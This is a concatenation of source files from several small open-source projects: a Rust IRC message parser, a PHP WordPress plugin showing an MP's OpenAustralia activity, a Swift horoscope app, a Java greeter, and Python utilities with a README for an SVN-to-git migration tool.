Ok(config)
}
<file_sep>/src/structs.rs
use std::convert::TryFrom;
use std::fmt;
type Result<T> = std::result::Result<T, ParseError>;
#[derive(Debug)]
pub enum ParseError {
UnknownCommandError {
command: String,
},
MissingCommandParameterError {
command: String,
parameter: String,
index: usize,
},
}
impl std::error::Error for ParseError {}
impl fmt::Display for ParseError {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
let message = match self {
ParseError::UnknownCommandError { command } => format!("Unknown command: {}", command),
ParseError::MissingCommandParameterError {
command,
parameter,
index: _,
} => format!("Command {} missing parameter: {}", command, parameter,),
};
write!(f, "{}", message)
}
}
#[derive(Debug, PartialEq, Eq)]
pub struct IrcMessage<'a> {
pub prefix: Option<&'a str>,
pub command: &'a str,
pub command_parameters: Vec<&'a str>,
}
impl IrcMessage<'_> {
/// Examples
///
/// ```
/// use ircd::structs::{Command, IrcMessage};
///
/// let irc_message = IrcMessage{
/// prefix: None,
/// command: "USER",
/// command_parameters: vec!["Cardinal", "8", "*", "Cardinal"],
/// };
/// let command = irc_message.to_command().unwrap();
///
/// assert_eq!(command, Command::USER("Cardinal", "8", "*", "Cardinal"));
///
/// Ok::<(), String>(())
/// ```
pub fn to_command(&self) -> Result<Command> {
match self.command {
"PASS" => {
let password = self.get_command_parameter(0, "password")?;
Ok(Command::PASS(password))
}
"NICK" => {
let nick = self.get_command_parameter(0, "nick")?;
Ok(Command::NICK(nick))
}
"USER" => {
let user = self.get_command_parameter(0, "user")?;
let mode = self.get_command_parameter(1, "mode")?;
let unused = self.get_command_parameter(2, "unused")?;
let realname = self.get_command_parameter(3, "realname")?;
Ok(Command::USER(user, mode, unused, realname))
}
_ => Err(ParseError::UnknownCommandError {
command: self.command.to_owned(),
}),
}
}
fn get_command_parameter(&self, idx: usize, name: &str) -> Result<&str> {
let param = self.command_parameters.get(idx).ok_or_else(|| {
ParseError::MissingCommandParameterError {
command: self.command.to_owned(),
parameter: name.to_owned(),
index: idx,
}
})?;
Ok(param)
}
/// Examples
///
/// ```
/// use ircd::structs::{Command, IrcMessage};
///
/// let irc_message = IrcMessage{
/// prefix: Some("localhost"),
/// command: "PRIVMSG",
/// command_parameters: vec!["Cardinal", "this is an example"],
/// };
/// let s = irc_message.to_line();
///
/// assert_eq!(s, ":localhost PRIVMSG Cardinal :this is an example\r\n".to_owned());
///
/// Ok::<(), String>(())
/// ```
///
/// Note: The last parameter will always be prefixed with a colon.
pub fn to_line(mut self) -> String {
let mut message = "".to_owned();
message.push_str(
self.prefix
.map_or("".to_string(), |s| format!(":{} ", s))
.as_str(),
);
message.push_str(self.command);
if self.command_parameters.len() > 0 {
message.push_str(" ");
// a little dance to stick the last param behind a colon to ensure that params with
// spaces work correctly (e.g. messages)
let mut params = self
.command_parameters
.drain(0..self.command_parameters.len() - 1)
.collect::<Vec<&str>>();
let last_param = format!(":{}", self.command_parameters.pop().unwrap());
params.push(last_param.as_str());
message.push_str(params.join(" ").as_str());
}
message.push_str("\r\n");
message
}
}
impl<'a> TryFrom<&'a str> for IrcMessage<'a> {
type Error = String;
/// Examples
///
/// ```
/// use std::convert::TryFrom;
/// use ircd::structs::IrcMessage;
///
/// let s = ":irc.darkscience.net PRIVMSG Cardinal :this is a test";
/// let irc_message = IrcMessage::try_from(s)?;
///
/// assert_eq!(irc_message, IrcMessage {
/// prefix: Some("irc.darkscience.net"),
/// command: "PRIVMSG",
/// command_parameters: vec!["Cardinal", "this is a test"],
/// });
///
/// Ok::<(), String>(())
/// ```
fn try_from(s: &'a str) -> std::result::Result<Self, Self::Error> {
if s == "" {
return Err(Self::Error::from("IRC message may not be empty"));
}
let mut start = 0;
// check for optional prefix
let prefix: Option<&str> = {
match s.find(':') {
Some(0) => {
start += 1;
match &s[start..].find(' ') {
// prefix indicator must not be followed by a space, and a prefix must be
// followed by a command
None | Some(0) => {
return Err(Self::Error::from(
"Found prefix indication, followed by invalid prefix",
))
}
Some(prefix_end) => {
let prefix = &s[start..*prefix_end + 1];
// skip over the space that follows the prefix as well
start += *prefix_end + 1;
Some(prefix)
}
}
}
// must be a trailing parameter
_ => None,
}
};
// check for required command
let command = {
let idx = s[start..].find(' ').unwrap_or(s[start..].len());
let command = &s[start..start + idx];
// do not skip the space because detecting a trailer later will rely on the fact that a
// trailng param colon must be prefixed by a space
start += idx;
command
};
// check for optional command parameters
let command_parameters: Vec<&str> = {
let mut end = s.len();
// if there is a parameter beginning with a : it is the last parameter and everything
// following the : should be included
let trailer = {
if let Some(idx) = &s[start..].find(" :") {
let trailer = &s[start + idx + 2..];
end = start + *idx;
Some(trailer)
} else {
None
}
};
let mut command_parameters: Vec<&str> = if start < end {
// skip over the leftover space that follows the command
start += 1;
s[start..end].split(" ").collect()
} else {
vec![]
};
// add trailer if there was one
if trailer.is_some() {
command_parameters.push(trailer.unwrap());
}
command_parameters
};
Ok(IrcMessage {
prefix: prefix,
command: command,
command_parameters: command_parameters,
})
}
}
#[allow(non_camel_case_types)]
pub enum Reply {
RPL_WELCOME {
nick: String,
user: String,
host: String,
},
RPL_YOURHOST {
nick: String,
server_name: String,
version: String,
},
// RPL_CREATED(String, String, String),
// RPL_MYINFO(String, String, String),
ERR_UNKNOWNCOMMAND {
command: String,
},
ERR_NEEDMOREPARAMS {
command: String,
},
}
impl Reply {
fn as_str(&self) -> &str {
match self {
Reply::RPL_WELCOME {
nick: _,
user: _,
host: _,
} => "001",
Reply::RPL_YOURHOST {
nick: _,
server_name: _,
version: _,
} => "002",
// Reply::RPL_CREATED(_, _, _) => "003",
// Reply::RPL_MYINFO(_, _, _) => "004",
Reply::ERR_UNKNOWNCOMMAND { command: _ } => "421",
Reply::ERR_NEEDMOREPARAMS { command: _ } => "461",
}
}
pub fn as_line(&self) -> String {
match self {
// Command responses
Reply::RPL_WELCOME { nick, user, host } => IrcMessage {
prefix: Some("localhost"),
command: self.as_str(),
command_parameters: vec![
nick,
format!("Welcome to the network {}!{}@{}", nick, user, host).as_str(),
],
}
.to_line(),
Reply::RPL_YOURHOST {
nick,
server_name,
version,
} => IrcMessage {
prefix: Some("localhost"),
command: self.as_str(),
command_parameters: vec![
nick,
&format!(
"Your host is {}, running ircd version {}",
server_name, version
),
],
}
.to_line(),
// Error replies
Reply::ERR_UNKNOWNCOMMAND { command } => IrcMessage {
prefix: Some("localhost"),
command: self.as_str(),
command_parameters: vec![command, "Unknown command"],
}
.to_line(),
Reply::ERR_NEEDMOREPARAMS { command } => IrcMessage {
prefix: Some("localhost"),
command: self.as_str(),
command_parameters: vec![command, "Not enough parameters"],
}
.to_line(),
}
}
}
#[derive(Debug, PartialEq, Eq)]
pub enum Command<'a> {
PASS(&'a str),
NICK(&'a str),
USER(&'a str, &'a str, &'a str, &'a str),
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn command_parameters_not_required() -> std::result::Result<(), String> {
let s = "LIST";
let irc_message = IrcMessage::try_from(s)?;
assert_eq!(
irc_message,
IrcMessage {
prefix: None,
command: "LIST",
command_parameters: vec![],
}
);
Ok(())
}
#[test]
fn command_prefix() -> std::result::Result<(), String> {
let s = ":irc.darkscience.net LIST";
let irc_message = IrcMessage::try_from(s)?;
assert_eq!(
irc_message,
IrcMessage {
prefix: Some("irc.darkscience.net"),
command: "LIST",
command_parameters: vec![],
}
);
Ok(())
}
#[test]
fn command_parameters() -> std::result::Result<(), String> {
let s = "PRIVMSG Cardinal :this is a test";
let irc_message = IrcMessage::try_from(s)?;
assert_eq!(
irc_message,
IrcMessage {
prefix: None,
command: "PRIVMSG",
command_parameters: vec!["Cardinal", "this is a test"],
}
);
Ok(())
}
#[test]
fn command_parameters_no_trailer() -> std::result::Result<(), String> {
let s = "MODE #test +v Cardinal";
let irc_message = IrcMessage::try_from(s)?;
assert_eq!(
irc_message,
IrcMessage {
prefix: None,
command: "MODE",
command_parameters: vec!["#test", "+v", "Cardinal"],
}
);
Ok(())
}
#[test]
fn command_parameter_trailer_only() -> std::result::Result<(), String> {
let s = "PONG :irc.darkscience.net";
let irc_message = IrcMessage::try_from(s)?;
assert_eq!(
irc_message,
IrcMessage {
prefix: None,
command: "PONG",
command_parameters: vec!["irc.darkscience.net"],
}
);
Ok(())
}
}
<file_sep>/src/lib.rs
pub mod config;
pub mod structs;
| 10713e69ae2e8c0e000d445b58dd3260edd047b9 | [
"Markdown",
"Rust",
"TOML"
] | 6 | Rust | JohnMaguire/ircd | 31c5cd1e577a9df1d781ee3280bc2ba6db0c5dc3 | 7a12cdc4b0740351cc8f64041eb9bd0f643783bd |
refs/heads/master | <file_sep><?php
/*
Plugin Name: OpenAustralia.org for Wordpress
Plugin URI: http://github.com/henare/oa4wp/
Description: Displays your MP's most recent speeches from OpenAustralia.org on your blog. Adapted from the TheyWorkForYou plugin by <NAME>: http://philipjohn.co.uk/category/plugins/theyworkforyou/
Author: <NAME>
Version: 0.1
Author URI: http://www.henaredegan.com/
Future features list;
* Custom date format
*/
/* Copyright 2009 Philip John Ltd (email : <EMAIL>)
This program is free software; you can redistribute it and/or modify
it under the terms of the Affero General Public License as published
by the Affero Inc; either version 2 of the License, or (at your
option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the Affero General Public License
along with this program; if not, see http://www.affero.org/oagpl.html
*/
// The settings page for OL
function twfy_settings(){
// The form has been submitted, so do the dirty work
if ($_POST['twfy_hidden'] == "Y"){
// Log the ID number of the MP
$twfy_person_id = trim(htmlentities($_POST['twfy_person_id']));
$twfy_title = trim($_POST['twfy_title']);
$twfy_name = trim(htmlentities($_POST['twfy_name']));
$twfy_desc = trim(htmlentities($_POST['twfy_desc']));
$twfy_date = trim(htmlentities($_POST['twfy_date']));
$twfy_limit = trim(htmlentities($_POST['twfy_limit']));
$twfy_link = trim(htmlentities($_POST['twfy_link']));
$twfy_options = array(
'person_id' => $twfy_person_id,
'name' => $twfy_name,
'title' => $twfy_title,
'desc' => $twfy_desc,
'date' => $twfy_date,
'limit' => $twfy_limit,
'link' => $twfy_link
);
update_option('twfy_recent_activity_widget', $twfy_options);
echo '<div class="updated"><p><strong>'. __('Options saved.' ) .'</strong></p></div>';
}
// Load the councils XML for choosing the right authority
$xml = simplexml_load_file('http://www.openaustralia.org/api/getRepresentatives?key=<KEY>&output=xml');
// Retrieve the currently selected council, if there is one.
$twfy_options = get_option('twfy_recent_activity_widget');
// re-organise MPs into an array for sorting on name
$MPs = array();
foreach ($xml->match as $MP){
$MPid = (string )$MP->person_id;
$MPname = (string )$MP->name;
$MPs[$MPid] = $MPname;
}
asort($MPs); // actually sort it.
?>
<div class="wrap">
<h2><?php _e('OpenAustralia Settings'); ?></h2>
<form name="twfy_form" method="post" action="<?php echo str_replace( '%7E', '~', $_SERVER['REQUEST_URI']); ?>">
<input type="hidden" name="twfy_hidden" value="Y">
<h3><?php _e('Choose your MP'); ?></h3>
<p>
<select name="twfy_person_id" id="twfy_person_id">
<?php
foreach ($MPs as $MP_id => $MP_name){
echo '<option value="'.$MP_id.'"';
if ($twfy_options['person_id'] == $MP_id){
echo ' selected="selected"';
}
echo '>'.$MP_name.'</option>'."\n";
}
?>
</select>
</p>
<fieldset>
<h3>Recent Activity Widget - Options</h3>
<p>
<label for="twfy_title">Widget title: </label>
<input type="text" id="twfy_title" name="twfy_title" value="<?php echo stripslashes($twfy_options['title']);?>" />
</p>
<p>
Show MP name?<br/>
<label for="twfy_name_yes"><input type="radio" id="twfy_name_yes" name="twfy_name" value="1" <?php if ($twfy_options['name']==1){echo 'checked="checked" ';} ?>/> Yes</label><br/>
<label for="twfy_name_no"><input type="radio" id="twfy_name_no" name="twfy_name" value="0" <?php if ($twfy_options['name']==0){echo 'checked="checked" ';} ?>/> No</label>
</p>
<p>
Show description?<br/>
<label for="twfy_desc_yes"><input type="radio" id="twfy_desc_yes" name="twfy_desc" value="1" <?php if ($twfy_options['desc']==1){echo 'checked="checked" ';} ?>/> Yes</label><br/>
<label for="twfy_desc_no"><input type="radio" id="twfy_desc_no" name="twfy_desc" value="0" <?php if ($twfy_options['desc']==0){echo 'checked="checked" ';} ?>/> No</label>
</p>
<p>
Show date?<br/>
<label for="twfy_date_yes"><input type="radio" id="twfy_date_yes" name="twfy_date" value="1" <?php if ($twfy_options['date']==1){echo 'checked="checked" ';} ?>/> Yes</label><br/>
<label for="twfy_date_no"><input type="radio" id="twfy_date_no" name="twfy_date" value="0" <?php if ($twfy_options['date']==0){echo 'checked="checked" ';} ?>/> No</label>
</p>
<p>
<label for="twfy_limit">How many items should be shown?: </label>
<input type="text" id="twfy_limit" name="twfy_limit" value="<?php echo $twfy_options['limit'];?>" />
</p>
<p>
Show link to MP on OpenAustralia.org?<br/>
<label for="twfy_link_yes"><input type="radio" id="twfy_link_yes" name="twfy_link" value="1" <?php if ($twfy_options['link']==1){echo 'checked="checked" ';} ?>/> Yes</label><br/>
<label for="twfy_link_no"><input type="radio" id="twfy_link_no" name="twfy_link" value="0" <?php if ($twfy_options['link']==0){echo 'checked="checked" ';} ?>/> No</label>
</p>
</fieldset>
<p class="submit">
<input type="submit" name="Submit" value="<?php _e('Update Options') ?>" />
</p>
</form>
</div>
<?php
}
// Add the settings page
function twfy_actions(){
add_options_page('OpenAustralia Settings', 'OpenAustralia', 5, 'OpenAustralia', 'twfy_settings');
}
// Recent activity widget
function twfy_recent_activity_widget($args){
extract($args); // Prep to display widget code
$twfy_options = get_option('twfy_recent_activity_widget');
echo $before_widget;
echo $before_title.stripslashes($twfy_options['title']).$after_title;
twfy_recent_activity_widget_contents();
echo $after_widget;
}
// Recent activity DASHBOARD widget
function twfy_recent_activity_dbwidget(){
twfy_recent_activity_widget_contents();
}
// Contents for recent activity widgets
function twfy_recent_activity_widget_contents(){
$twfy_options = get_option('twfy_recent_activity_widget'); // The council we're displaying
if ($twfy_person_id !== FALSE){ // Not if the ID isn't set.
$xml = simplexml_load_file("http://www.openaustralia.org/api/getHansard?key=<KEY>&output=xml&person=".$twfy_options['person_id']); // Load XML
// Get some information about the MP
$MPname = (string )$xml->rows->match->speaker->first_name.' '.$xml->rows->match->speaker->last_name;
$MPconstituency = (string )$xml->rows->match->speaker->constituency;
$MPurl = (string )$xml->rows->match->speaker->url;
// Display the MP name and constituency
if ($twfy_options['name']==1){ echo '<a href="http://www.openaustralia.org'.$MPurl.'">'.$MPname.', MP - Member for '.$MPconstituency.'</a>'; }
echo "\n<ul>\n";
$i = 0; //counter for number of meetings
foreach ($xml->rows->match as $match){
if ($i>=$twfy_options['limit']) { break; } // don't list more than 5 meetings
$date = strtotime($match->hdate);
echo '<li><b>';
if ($twfy_options['date']==1){ echo date('j M', $date).': '; }
echo '<a href="http://www.openaustralia.org'.$match->listurl.'">'.$match->parent->body.'</a></b>';
if ($twfy_options['desc']==1){ echo '<br/>'.$match->body; }
echo '</li>'."\n";
$i++; //increment the counter
}
echo "</ul>\n";
if ($twfy_options['link']==1){
// Link back to the MPs page on TWFY^WOpenAustralia
echo '<p>More from <a href="http://www.openaustralia.org'.$MPurl.'">OpenAustralia.org</a></p>';
}
}
else {
echo "<p>Sorry, no MP has been selected. Please select an MP from the settings page.";
}
}
// Dashboard widgets init function
function twfy_add_dashboard_widgets(){
wp_add_dashboard_widget('twfy-recent-activity-widget', 'My MPs Recent Activity', 'twfy_recent_activity_dbwidget');
}
// Initialising function
function twfy_init(){
register_sidebar_widget(__('My MPs Recent Activity'), 'twfy_recent_activity_widget');
$twfy_default_options = array(
'person_id'=>'10552',
'title'=>'My MPs recent activity',
'name'=>1,
'desc'=>1,
'date'=>1,
'limit'=>5,
'link'=>1
);
add_option('twfy_recent_activity_widget', $twfy_default_options);
}
add_action("plugins_loaded", "twfy_init");
add_action('admin_menu', 'twfy_actions');
add_action('wp_dashboard_setup', 'twfy_add_dashboard_widgets');
?>
| 3c219bd13a996035364dd3027b1d3ab8f3cfdf87 | [
"PHP"
] | 1 | PHP | henare/oa4wp | aaef32c779651cc603973d8faf466e46a30beb58 | 8bcafd921514a094c6b013a40ad4d9d4a28f36c2 |
refs/heads/master | <repo_name>Luch0/HoriOScope<file_sep>/HoriOScope/Models/HoroscopeResponseAPIClient.swift
//
// HoroscopeResponseAPIClient.swift
// HoriOScope
//
// Created by <NAME> on 12/11/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
class HoroscopeResponseAPIClient {
private init() {}
static let manager = HoroscopeResponseAPIClient()
func getHoroscope(from urlStr: String, completionHandler: @escaping (HoroscopeResponse) -> Void, errorHandler: @escaping (Error) -> Void) {
guard let url = URL(string: urlStr) else { return }
let request = URLRequest(url: url)
let completion = {(data: Data) -> Void in
do {
let onlineHoroscope = try JSONDecoder().decode(HoroscopeResponse.self, from: data)
completionHandler(onlineHoroscope)
}
catch let error {
errorHandler(error)
}
}
NetworkHelper.manager.performDataTask(with: request, completionHandler: completion, errorHandler: errorHandler)
}
}
<file_sep>/HoriOScope/Models/HoroscopePost.swift
//
// HoroscopePost.swift
// HoriOScope
//
// Created by <NAME> on 12/11/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
struct HoroscopePost: Codable {
let sign: String
let day: String
}
<file_sep>/HoriOScope/Models/HoroscopeResponse.swift
//
// HoroscopeResponse.swift
// HoriOScope
//
// Created by <NAME> on 12/11/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
struct HoroscopeResponse: Codable {
let mood: String
let date_range: String
let color: String
let description: String
let lucky_time: String
let compatibility: String
let current_date: String
let lucky_number: String
}
<file_sep>/HoriOScope/Models/Settings.swift
//
// Settings.swift
// HoriOScope
//
// Created by <NAME> on 12/11/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
class Settings {
private init() { }
static let manager = Settings()
}
<file_sep>/HoriOScope/HomeViewController.swift
//
// HomeViewController.swift
// HoriOScope
//
// Created by <NAME> on 12/11/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import UIKit
class HomeViewController: UIViewController {
var horoscopeRes: HoroscopeResponse?
@IBOutlet weak var nameLabel: UILabel!
@IBOutlet weak var yesterdayButton: UIButton!
@IBOutlet weak var todayButton: UIButton!
@IBOutlet weak var tomorrowButton: UIButton!
@IBOutlet weak var textView: UITextView!
override func viewDidLoad() {
super.viewDidLoad()
self.nameLabel.isHidden = true
self.yesterdayButton.isHidden = true
self.todayButton.isHidden = true
self.tomorrowButton.isHidden = true
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
guard let name = UserDefaultsHelper.manager.getName(),
let _ = UserDefaultsHelper.manager.getSign() else { return }
self.nameLabel.text = "Hello \(name)!"
self.nameLabel.isHidden = false
self.yesterdayButton.isHidden = false
self.todayButton.isHidden = false
self.tomorrowButton.isHidden = false
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
self.textView.text = ""
}
@IBAction func dayButtonPressed(_ sender: UIButton) {
guard let sign = UserDefaultsHelper.manager.getSign() else { return }
let day: String
switch sender.tag {
case 0:
day = "yesterday"
case 1:
day = "today"
case 2:
day = "tomorrow"
default:
day = "today"
}
let horoscope = HoroscopePost(sign: sign, day: day)
let completion: (HoroscopeResponse) -> Void = { (onlineHoroscope: HoroscopeResponse) in
self.horoscopeRes = onlineHoroscope
self.textView.text = onlineHoroscope.description
}
HoroscopeAPIClient.manager.post(horoscopePost: horoscope, completionHandler: completion ,errorHandler: {print($0)})
}
}
<file_sep>/HoriOScope/Models/UserDefaultsHelper.swift
//
// UserDefaultsHelper.swift
// HoriOScope
//
// Created by <NAME> on 12/11/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
struct UserDefaultsHelper {
static let manager = UserDefaultsHelper()
private init() { }
private var nameKey = "name"
private var signKey = "sign"
func getName() -> String? {
return UserDefaults.standard.string(forKey: nameKey)
}
func getSign() -> String? {
return UserDefaults.standard.string(forKey: signKey)
}
func setName(to newName: String) {
UserDefaults.standard.setValue(newName, forKey: nameKey)
}
func setSign(to newSign: String) {
UserDefaults.standard.setValue(newSign, forKey: signKey)
}
}
<file_sep>/HoriOScope/Models/HoroscopeAPIClient.swift
//
// HoroscopePostAPIClient.swift
// HoriOScope
//
// Created by <NAME> on 12/11/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
class HoroscopeAPIClient {
private init() { }
static let manager = HoroscopeAPIClient()
func post(horoscopePost: HoroscopePost, completionHandler: @escaping (HoroscopeResponse) -> Void, errorHandler: @escaping (Error) -> Void) {
let urlStr = "https://aztro.herokuapp.com/?sign=\(horoscopePost.sign)&day=\(horoscopePost.day)"
guard let url = URL(string: urlStr) else { return }
var postRequest = URLRequest(url: url)
postRequest.httpMethod = "POST"
// postRequest.addValue("application/json", forHTTPHeaderField: "Accept")
// postRequest.addValue("application/json", forHTTPHeaderField: "Content-Type")
let completion = {(data: Data) -> Void in
do {
let onlineHoroscope = try JSONDecoder().decode(HoroscopeResponse.self, from: data)
completionHandler(onlineHoroscope)
}
catch let error {
errorHandler(error)
}
}
NetworkHelper.manager.performDataTask(with: postRequest, completionHandler: completion, errorHandler: errorHandler)
}
}
| ea54d7a687d441436489caaa9591e039ba98b120 | [
"Swift"
] | 7 | Swift | Luch0/HoriOScope | f84de0624ae18b210fed4288a33438e2f3734ca1 | 104cf6e40ceb17d1a6a8e2702f01882afdefc9cf |
refs/heads/master | <repo_name>fijiaaron/greeter-java<file_sep>/src/oneshore/greeter/Greeting.java
package oneshore.greeter;
import java.util.Arrays;
import java.util.List;
import org.apache.commons.lang3.text.WordUtils;
public class Greeting {
String salutation;
String name;
List<String>modifiers;
String default_name = "World";
String default_person_name = "Individual";
///////////////////////////////////
// Getters and Setters
///////////////////////////////////
public String getSalutation() {
return salutation;
}
public void setSalutation(String salutation) {
this.salutation = salutation;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String[] getModifiers() {
return modifiers.toArray(new String[modifiers.size()]);
}
public void setModifiers(String[] modifiers) {
this.modifiers = Arrays.asList(modifiers);
}
///////////////////////////////////
// Private methods
///////////////////////////////////
private static String getMessage(Greeting greeting) {
StringBuilder message = new StringBuilder();
String punctuation = "!";
message.append(WordUtils.capitalize(greeting.salutation) + ", ");
if (greeting.modifiers != null) {
for(String modifier : greeting.modifiers) {
message.append(modifier + " ");
}
}
message.append(WordUtils.capitalize(greeting.name));
message.append(punctuation);
return message.toString();
}
public String toString() {
return Greeting.getMessage(this);
}
}
<file_sep>/src/oneshore/greeter/Localizer.java
package oneshore.greeter;
import java.util.Arrays;
public class Localizer {
Locale locale;
Locale default_locale = Locale.US;
Locale[] supported_locales = { Locale.US, Locale.AU, Locale.ES };
///////////////////////////////////
// Constructors
///////////////////////////////////
/**
*
*/
public Localizer() {
locale = default_locale;
}
/**
*
* @param locale
*/
public Localizer(Locale locale) {
if (! isSupported(locale)) {
locale = default_locale;
}
}
/**
*
* @param locale
*/
public Localizer(String localeName) {
Locale locale = Locale.valueOf(localeName);
if (! isSupported(locale)) {
locale = default_locale;
}
}
///////////////////////////////////
// Getters and Setters
///////////////////////////////////
/**
* return the dictionary for the specified locale
*
* @return
* @throws Exception
*/
public Dictionary getDictionary() throws Exception {
return getDictionary(locale);
}
public Dictionary getDictionary(Locale locale) throws Exception {
if (! isSupported(locale)) {
throw new Exception("Locale is not supported: " + locale);
}
Dictionary dictionary = Dictionaries.dictionary.get(locale);
return dictionary;
}
///////////////////////////////////
// Helpers
///////////////////////////////////
/**
* Check to see if there is a dictionary supported for the given locale
*
* @param locales
* @return
*/
public boolean isSupported(Locale locales) {
return Arrays.asList(supported_locales).contains(locales);
}
}
<file_sep>/src/oneshore/greeter/Locale.java
package oneshore.greeter;
public enum Locale {
US ("en-US"),
AU ("en-AU"),
ES ("es");
String name;
Locale(String name) {
this.name = name;
}
public boolean equals(String name) {
return (name == null) ? false : name.equals(this.name);
}
public String toString() {
return name;
}
}<file_sep>/src/oneshore/greeter/Greeter.java
package oneshore.greeter;
public class Greeter {
Locale locale;
Locale default_locale = Locale.US;
///////////////////////////////////
// Constructors
///////////////////////////////////
/**
*
*/
public Greeter() {
setLocale(default_locale);
}
/**
*
* @param locale
*/
public Greeter(Locale locale) {
setLocale(locale);
}
/**
*
* @param locale
*/
public Greeter(String locale) {
setLocale(locale);
}
///////////////////////////////////
// Actions
///////////////////////////////////
/**
*
* @return
*/
public Greeting greet() {
return greet(null);
}
/**
*
* @param person
* @return
*/
public Greeting greet(Person person) {
if (locale == null) {
locale = default_locale;
}
return greet(person, locale);
}
/**
*
* @param person
* @param locale
* @return
*/
public Greeting greet(Person person, String locale) {
return greet(person, Locale.valueOf(locale));
}
/**
*
* @param person
* @param locale
* @return
*/
public Greeting greet(Person person, Locale locale) {
return greet(person, locale, false);
}
/**
*
* @param person
* @param locale
* @param isSame
* @return
*/
public Greeting greet(Person person, Locale locale, boolean isSame) {
Greeting greeting = new Greeting();
try {
Localizer localizer = new Localizer(locale);
Dictionary dictionary = localizer.getDictionary(locale);
// set salutation
greeting.setSalutation(dictionary.salutation);
if (Helpers.isMorning()) {
greeting.setSalutation(dictionary.morning_salutation);
}
if (isSame) {
greeting.salutation = dictionary.farewell;
}
// set name
if (person == null) {
greeting.name = dictionary.group;
// set modifiers
if(isSame) {
greeting.modifiers.add(dictionary.epithet);
}
}
else if (person.name == null) {
greeting.name = dictionary.individual;
}
else if (person.name.equals("")) {
greeting.name = dictionary.individual;
}
else {
greeting.name = person.name;
}
}
catch (Exception e) {
// TODO send error message
e.printStackTrace();
}
return greeting;
}
///////////////////////////////////
// Getters and Setters
///////////////////////////////////
/**
*
* @param locale
*/
public void setLocale(Locale locale) {
this.locale = locale;
}
/**
*
* @param locale
*/
public void setLocale(String localeName) {
setLocale(Locale.valueOf(localeName));
}
}
| ee59dfb230ddce167eca5da1af42d08def2d2da0 | [
"Java"
] | 4 | Java | fijiaaron/greeter-java | 37c17c3c572148f7f4e91a607c0a32c3f74de395 | 1cb678fdf08ec9f508799da2b9b3f0e2d60c3cf7 |
refs/heads/master | <file_sep>package priv.zhengfa.mybatis;
import org.apache.ibatis.mapping.Environment;
import org.apache.ibatis.session.Configuration;
import org.apache.ibatis.session.SqlSessionFactory;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.support.DefaultSingletonBeanRegistry;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
import java.lang.reflect.Field;
import java.util.Map;
/**
* @author zhengfa
* @date 2020/9/14 17:07
*/
public class DynamicSwitchCore {
public static BeanFactory beanFactory;
public static void dynamicSwitchDataSource(String url,String name,String password){
SqlSessionFactory sessionFactory = beanFactory.getBean(SqlSessionFactory.class);
DriverManagerDataSource dataSource = new DriverManagerDataSource();
dataSource.setUrl(url);
dataSource.setUsername(name);
dataSource.setPassword(<PASSWORD>);
Configuration configuration = sessionFactory.getConfiguration();
Environment environment = configuration.getEnvironment();
Class<? extends Environment> aClass = environment.getClass();
try {
Field source = aClass.getDeclaredField("dataSource");
source.setAccessible(true);
source.set(environment,dataSource);
} catch (Exception e) {
e.printStackTrace();
}
}
}
<file_sep>package priv.zhengfa.mybatis.dao;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
@Data
public class User implements Serializable {
private Integer id;
private String name;
private Date createTime;
private Date updateTime;
public User() {
}
}
| dd21becf25b408ca3b6831be8f418d24ab5fbe58 | [
"Java"
] | 2 | Java | NullWagesException/dynamic-switch-runtime | a3fe0f6f34fa23b9f9009f53e2c5092d7cfac87e | ddbb5228953f55e199d0070c95f0f4e0e225a7eb |
refs/heads/master | <file_sep>import os
import subprocess
import sys
class Cmd(object):
""" spawn a new process and capture stdout and stderr"""
def __init__(self, cmstr=None, verbose=False):
self._cmstr = cmstr
self._out = None
self._err = None
self._dataout = []
self._dataerr = []
self.pro = None
self._vmode = verbose
def __call__(self):
if self._cmstr is not None:
self.execute(self._cmstr)
def std_out(self):
if self._out is not None:
return self._out
else:
return None
def std_out_data(self):
return self._dataout
def std_err(self):
if self._err is not None:
return self._err
else:
return None
def flush(self):
self._out = None
self._dataout = None
self._err = None
def sys_exec(self, cmd):
return os.system(cmd)
def execute(self, cmd, term=False):
cmd.strip()
if self._vmode is True:
term = True
fp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=term)
self.pro = fp
(self._out, self._err) = fp.communicate()
return len(self._err) == 0
def terminate(self):
if self.pro is not None:
self.pro.terminate()
self.pro = None
def kill(self):
if self.pro is not None:
self.pro.kill()
self.pro = None
def execute_ex(self, cmd):
cmd.strip()
fp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while True:
line = fp.stdout.readline()
if not line:
break
else:
self._dataout.append(line)
<file_sep>SVN to GIT migration tool
======
- merges svn manual commit to git and adds meta info as a revision number
- tags git commits with adequate tags taken from svn ABM commits
- does BFG to clean up repo history from binary
- updates platforms xml with desired commit hashes based on a tagged repo
- and much more ... :)
- db.json format is as:
<code>{
RepoName:
{
"svnrev" : 9999,
"tags : [1,2,3,4]
}
}</code>
- <code>sgutil.py --help </code> to see the full options, or browse the <code>Globals.py</code> for full options
<mark>NOTES:</mark>
- See eml.json for email registration of a new user
- See mergeoutput.txt for example output of the script
- See the svngitmigration.txt for example input file
<mark>WARN:</mark>
- Do not modify "db.json" file, it's automatic generated and used by the script for meta info (serialization)
- if you want to reset the "db.json" entry, set the "svnrev" to 0
- Run BFG as final step.
author: <EMAIL><file_sep>#Globals and constants
############################################################################
class NS:
class Errors: #enum like
OK = 0
ERROR = 1
NO_CONNECTION_TO_SVN = 2
NO_CONNECTION_TO_GIT = 3
